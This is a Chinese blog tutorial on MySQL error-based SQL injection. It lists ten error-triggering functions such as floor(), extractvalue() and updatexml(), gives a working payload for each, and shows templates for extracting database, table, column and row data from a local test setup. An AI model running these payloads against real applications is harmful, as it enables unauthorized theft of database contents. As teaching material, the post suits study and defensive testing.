zoukankan      html  css  js  c++  java
  • SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子

    《代码审计:企业级Web代码安全架构》一书中介绍过报错注入十大方法,依次是:

    1.floor()   如:select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2.extractvalue()  如:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    3.updatexml()  如:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    4.geometrycollection()  如:select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

    5.multipoint()  如:select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

    6.polygon()  如:select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

    7.multipolygon()  如:select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

    8.linestring()  如:select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

    9.multilinestring()  如:select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

    10.exp()  如:select * from test where id=1 and exp(~(select * from(select user())a));

    前三个比较常见,后面的不咋常见,大佬另说别打我

    那就借助前三个举几个例子看一下

    0x01 floor()报错注入

    floor报错注入三件套:floor 、count、group by

    我们的目的就是制造这三者的冲突来报错

    例子中的   select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a

    这里粉色的x是什么?是前面concat(user(),floor(rand(0)*2))的一个别名,这样后面group by x就是group by concat(user(),floor(rand(0)*2)),让group by与floor(rand(0)*2)如命中注定一样相遇产生奇妙的反应

    拿我的MySQL举个例子:我use了一个叫test的数据库,执行这么一条语句 select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));

    报错,报出来一个test就是库名,1是报错机制决定拼接出来的

     什么机制?

    首先要知道这几个SQL语句关键字是干啥的

    group by语句:用于结合合计函数,根据一个或多个列对结果集进行分组
    rand()函数:用于产生一个0-1之间的随机数
    floor()函数:向下取整
    count()函数:返回指定列的值的数目(NULL 不计入),count(*):返回表中的记录数
    floor(rand()*2):rand()*2 函数生成 0-2之间的数,使用floor()函数向下取整,得到的值就是不固定的 “0” 或 “1”
    floor(rand(0)*2):rand(0)*2 函数生成 0-2之间的数,使用floor()函数向下取整,但是得到的值前6位(包括第六位)是固定的。(为:011011)

    concat(database(),floor(rand(0)*2))生成由‘database()+‘0’’和‘database()+‘1’’组成的随机数列,则前六个数列一定依次是:

    'database()+'0''

    'database()+'1''

    'database()+'1''

    'database()+'0''

    'database()+'1''

    'database()+'1''

     必须是rand(0)*2 ,别的什么rand(1)*2不行,因为产生的序列不可预测

    简单来说,MySQL遇到该语句时会建立一个虚拟表,有两个字段key 与 count(*),查询数据的时候先看虚拟表中是否存在该分组,如果存在计数值加一,如果不存在新建分组。。。。。。

    具体来说,感兴趣可以看一下 这篇文章 https://www.cnblogs.com/hzk001/p/12799223.html

    总之想用floor报错注入成功,必须保证查的表中记录至少有3条,3条记录都没有查什么查

     

    关于floor实际如何应用?

    模板如下:

    select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a             (这里的a还是和上文中x一样是一个别名,在查询结果的基础上再次进行查询的时候必须要有一个别名)

    粉色payload处可填写常规化MySQL注入三板斧(根据上文,我们已经事先知道了数据库名字),即

    (1) select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test'),floor (rand(0)*2))x from information_schema.tables group by x)a;

     爆出表名叫users (自己临时搭建的环境,一切从简,见谅见谅)

    (2) select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='users' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;

    爆出列名a与b

     

    啊,这种(我一共就设置了两列,考虑演示从简。实际的话,通过调整limit,自己玩去吧)

    (3)select 1 from (select count(*),concat((select a from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;

     爆出数据2

    粉色字体处随意更换

    实际应用到SQL注入中就不举例了,没找到什么好的环境,如果有的话注意过滤和闭合

    0x02 extractvalue()报错注入

    extractvalue()是一个对XML文档进行查询的函数

    语法   extractvalue(目标xml文档,xml路径)

    其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的,x处是啥是几位都无所谓,只要你遵循了这个格式,即使没查到也不会报错

    所以只要让第二个参数不满足条件,就会报错

    extractvalue()能查询字符串的最大长度为32,如果想要的结果超过32,就需要用substring()函数截取,一次查看32位

    模板就是

    and extractvalue(1, payload)

    加上~好看一些, 后面那个显示数据路径的,就是超长度了,截断了

    0x03 updatexml()报错注入

     updatexml()是更新xml文档的函数

    语法 updatexml(目标xml文档,xml路径,更新的内容)

    模板是and updatexml(1, payload,1)

    和extractvalue()一样,也是让第二个参数“xml路径”报错,让他返回的不是xml格式的东西。同样是32位截断

     

     爆出数据库名test

     

     在CTF中见过连续两个SQL注入,第二个知识点考察报错注入的,当时wp用的就是updatexml报错注入,给当年我幼小的心灵造成了巨大的创伤

    随便转载,请标明作者出处

  • 相关阅读:
    8张图理解Java
    PhotoShop切图
    Java中堆内存和栈内存详解【转】
    Java编程性能优化一些事儿【转】
    Java反射机制--笔记
    JUnit单元测试--IntelliJ IDEA
    深入理解Java:自定义java注解
    基于值函数的强化学习 小例子(策略退化)
    动态规划中 策略迭代 和 值迭代 的一个小例子
    爬格子问题(经典强化学习问题) Sarsa 与 Q-Learning 的区别
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/13748713.html
Copyright © 2011-2022 走看看